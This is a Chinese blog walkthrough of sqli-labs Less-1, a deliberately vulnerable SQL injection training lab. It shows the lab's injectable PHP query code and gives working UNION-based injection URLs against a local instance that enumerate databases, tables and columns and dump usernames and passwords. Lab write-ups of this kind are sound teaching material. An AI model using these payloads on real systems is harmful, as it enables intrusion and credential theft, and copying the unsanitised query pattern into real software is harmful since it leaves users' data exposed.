美文网首页
sqli-labs (less-1)

sqli-labs (less-1)

作者: simle天晴 | 来源:发表于2019-03-05 21:11 被阅读0次

Less1 核心代码

  • 在用户表中查询一条用户信息,在页面中显示这条信息的用户名密码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysqli_error($con));
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
?>
  • 具体后台mysql中操作的结果是
image.png

首先我们要判断是否是sql注入,我们用单引号去尝试

image.png

得到的有价值的信息

  • 出现报错一定有数据库注入
  • 数据库为myql
  • LIMIT 0,1 后台只查询一条内容(比较重要的信息)
image.png

在做测试之前要科普下数据库注入的几种类型

  • union注入(联合查询)
  • 基于错误的注入
  • 时间注入
  • 布尔注入
  • 内联查询
  • 栈查询

其中盲注又分为

 基于布尔SQL盲注
 基于时间的SQL盲注
 基于报错的SQL盲注

sqlmap 中对于注入的分类

image.png

测试开始

首先我们要用最常见的union 注入去尝试

关于union注入介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

  • 具体的例子
image.png

上文说过(如何判断前面的select 查询有几列呢? order by 介绍)

union内部的SELECT 语句必须拥有相同的列

order by 是对查询的列进行排序

语法

SELECT field1, field2,...fieldN table_name1, table_name2...
ORDER BY field1, [field2...] [ASC [DESC]]

order by 有一个特性,就是后面可以不跟排序的字段,直接跟数字,如果数字超过查询的列就会报错,

当为3的时候正常,当为4时候报错(得到结果查询的列为3)

image.png

在正式测试之前还介绍几个知识 group_concat

正式开始

  • 猜测数据库
select schema_name  from information_schema.schemata
  • 猜测数据库中的数据表
select table_name  from  information_schema.tables  where table_schema='XXXX'
  • 猜测表的所有列
select column_name from information_schema.columns where table_name='xxxx'
  • 获取某列的内容
select xxx  from  xxxxx

LESS1 中的 POC


查看数据库
http://127.0.0.1/sqli-labs/Less-1/?id='  union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23


查看表
http://127.0.0.1/sqli-labs/Less-1/?id=-1 '  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+



查看列
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


查看数据
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23


相关文章

  • sqli-labs write up

    sqli-labs [TOC] Less-1: error based string 判断参数ID类型?id=1 ...

  • sqli-labs Less-1

    1.首先来到less-1 url后面输入?id=1 大家可能此时与我不同的是 这是为了方便我们自己看到底执行的sq...

  • sqli-labs Less-1

    大一开学面试校科协计算机部时,舒畅学姐给我出的题就是sql注入,一年多以后,我终于做出我的第一个sql注入题。先分...

  • sqli-labs (less-1)

    Less1 核心代码 在用户表中查询一条用户信息,在页面中显示这条信息的用户名密码 具体后台mysql中操作的结果...

  • sqli-labs Less-1

    MySQL中的information_schema数据库表说明:SCHEMATA表:提供了当前MySQL实例中所有...

  • sqli-labs修炼【1-10】

    摘要:本篇是关于sqli-labs第1到第10关的闯关记录 Less-1 单引号闭合,有错误提示,有查询返回点 根...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

  • [sqli-labs]Less-1(明注 , Bool盲注 ,

    打开主页进入第一关 : 提示传入id这个参数 发现这个页面会根据传入的ID查询到对应的用户这里我们可以通过查看数据...

  • SQLi-Labs 练习总结 Page-1 Less-1

    SQLi-LABS 练习总结 Page-1 基础练习 写在前面:SQL注入是一个需要不断尝试的过程,其中可能出现很...

  • sqli-labs靶场Less-62题解(少于130次)

    sqli-labs[https://github.com/Audi-1/sqli-labs]靶场Less-62题目...

网友评论

      本文标题:sqli-labs (less-1)

      本文链接:https://www.haomeiwen.com/subject/bhnouqtx.html